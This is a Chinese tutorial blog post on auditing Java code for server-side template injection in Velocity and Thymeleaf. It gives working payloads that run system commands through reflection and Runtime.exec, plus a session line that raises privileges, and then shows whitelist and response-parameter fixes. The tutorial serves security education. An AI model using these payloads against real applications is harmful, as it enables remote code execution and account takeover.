【Java代码审计】SSTI模板注入篇

2024-04-03 05:04

本文主要是介绍【Java代码审计】SSTI模板注入篇,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

【Java代码审计】SSTI模板注入篇

  • 1.概述
  • 2.Velocity 模板引擎
  • 3.Thymeleaf 模板注入复现
    • 普通
    • url作为视图
  • 4.SSTI 漏洞修复
    • 白名单控制跳转模版
    • 设置response参数

1.概述

模板引擎支持使用静态模板文件,在运行时用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。当前广泛应用的模板引擎有 Smarty、Twig、Jinja2、FreeMarker 及 Velocity 等。若攻击者可以完全控制输入模板的指令,并且模板能够在服务器端被成功地进行解析,则会造成模板注入漏洞

SSTI 漏洞的危害有:任意代码执行,获取 SHELL, 破坏服务器完整性等


2.Velocity 模板引擎

在 Java 中有以下这些常见的模板引擎:XMLTemplate、Velocity、CommonTemplate、
FreeMarker、Smarty4j、TemplateEngine 等,Velocity 在 Java 中使用较多

在 Velocity 中我们以"#"来标识 Velocity 的脚本语句,比如#set、#if、#else、#end、#foreach、#iinclude、#parse

例如:

#if($msg.img)
<img src="$msg.img" border=0> 
#else
<img src="qccp.jpg">
#end

"$"在 Velocity 中可以用来标识一个对象。根据 SpEL 表达式注入的知识,我们知道一旦可以调用对象,便有办法构造命令执行语句

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec()

在 Velocity 模板注入中,如果无法进行命令执行,那么我们往往可以通过修改 Cookie
来进行特权升级,例如:

$session.setAttribute("IS_ADMIN","1")

在漏洞不存在回显的情况下,并且容器为 Tomcat7 时,可以通过下面这种方法来构造一个拥有回显的命令执行:

#set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read())) 
#end

3.Thymeleaf 模板注入复现

普通

漏洞代码:

public String thymeleafVul(@RequestParam String lang) {// 模版文件参数可控return "lang/" + lang;
}

触发payload:

http://127.0.0.1:8888/SSTI/thymeleaf/vul?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27open%20-a%20Calculator%27).getInputStream()).next()%7d__::.x

成功RCE:

在这里插入图片描述

url作为视图

漏洞代码:

@GetMapping("/doc/vul/{document}")
public void getDocument(@PathVariable String document) {log.info("[vul] SSTI payload: " + document);
}

根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称,即将请求的url作为视图名称,调用模板引擎去解析,在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞

触发payload:

http://127.0.0.1:8888/SSTI/doc/vul/__$%7BT(java.lang.Runtime).getRuntime().exec('open%20-a%20Calculator')%7D__::.x

成功RCE:

在这里插入图片描述


4.SSTI 漏洞修复

要修复 SSTI 漏洞的话,应避免用户能够直接控制模板的输入并对其进行过滤。如需要向用户公开模板编辑,则可以选择无逻辑的模板引擎,如 Handlebars 、Moustache 等

白名单控制跳转模版

public String thymeleafSafe(@RequestParam String lang) {List<String> white_list = new ArrayList<String>();white_list.add("en");white_list.add("zh");if (white_list.contains(lang)) {return "lang/" + lang;} else {return "commons/401";}
}

此时,白名单外的输入将被拦截:

在这里插入图片描述

设置response参数

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析

@GetMapping("/doc/safe/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("[safe] SSTI payload: " + document);
}

此时,再次触发payload,已经无法RCE:

在这里插入图片描述

这篇关于【Java代码审计】SSTI模板注入篇的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/871964

相关文章

SpringBoot使用Apache Tika检测敏感信息

《SpringBoot使用ApacheTika检测敏感信息》ApacheTika是一个功能强大的内容分析工具,它能够从多种文件格式中提取文本、元数据以及其他结构化信息,下面我们来看看如何使用Ap... 目录Tika 主要特性1. 多格式支持2. 自动文件类型检测3. 文本和元数据提取4. 支持 OCR(光学

Java内存泄漏问题的排查、优化与最佳实践

《Java内存泄漏问题的排查、优化与最佳实践》在Java开发中,内存泄漏是一个常见且令人头疼的问题,内存泄漏指的是程序在运行过程中,已经不再使用的对象没有被及时释放,从而导致内存占用不断增加,最终... 目录引言1. 什么是内存泄漏?常见的内存泄漏情况2. 如何排查 Java 中的内存泄漏?2.1 使用 J

JAVA系统中Spring Boot应用程序的配置文件application.yml使用详解

《JAVA系统中SpringBoot应用程序的配置文件application.yml使用详解》:本文主要介绍JAVA系统中SpringBoot应用程序的配置文件application.yml的... 目录文件路径文件内容解释1. Server 配置2. Spring 配置3. Logging 配置4. Ma

Java 字符数组转字符串的常用方法

《Java字符数组转字符串的常用方法》文章总结了在Java中将字符数组转换为字符串的几种常用方法,包括使用String构造函数、String.valueOf()方法、StringBuilder以及A... 目录1. 使用String构造函数1.1 基本转换方法1.2 注意事项2. 使用String.valu

python实现pdf转word和excel的示例代码

《python实现pdf转word和excel的示例代码》本文主要介绍了python实现pdf转word和excel的示例代码,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价... 目录一、引言二、python编程1,PDF转Word2,PDF转Excel三、前端页面效果展示总结一

java脚本使用不同版本jdk的说明介绍

《java脚本使用不同版本jdk的说明介绍》本文介绍了在Java中执行JavaScript脚本的几种方式,包括使用ScriptEngine、Nashorn和GraalVM,ScriptEngine适用... 目录Java脚本使用不同版本jdk的说明1.使用ScriptEngine执行javascript2.

在MyBatis的XML映射文件中<trim>元素所有场景下的完整使用示例代码

《在MyBatis的XML映射文件中<trim>元素所有场景下的完整使用示例代码》在MyBatis的XML映射文件中,trim元素用于动态添加SQL语句的一部分,处理前缀、后缀及多余的逗号或连接符,示... 在MyBATis的XML映射文件中,<trim>元素用于动态地添加SQL语句的一部分,例如SET或W

Spring MVC如何设置响应

《SpringMVC如何设置响应》本文介绍了如何在Spring框架中设置响应,并通过不同的注解返回静态页面、HTML片段和JSON数据,此外,还讲解了如何设置响应的状态码和Header... 目录1. 返回静态页面1.1 Spring 默认扫描路径1.2 @RestController2. 返回 html2

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

Java操作ElasticSearch的实例详解

《Java操作ElasticSearch的实例详解》Elasticsearch是一个分布式的搜索和分析引擎,广泛用于全文搜索、日志分析等场景,本文将介绍如何在Java应用中使用Elastics... 目录简介环境准备1. 安装 Elasticsearch2. 添加依赖连接 Elasticsearch1. 创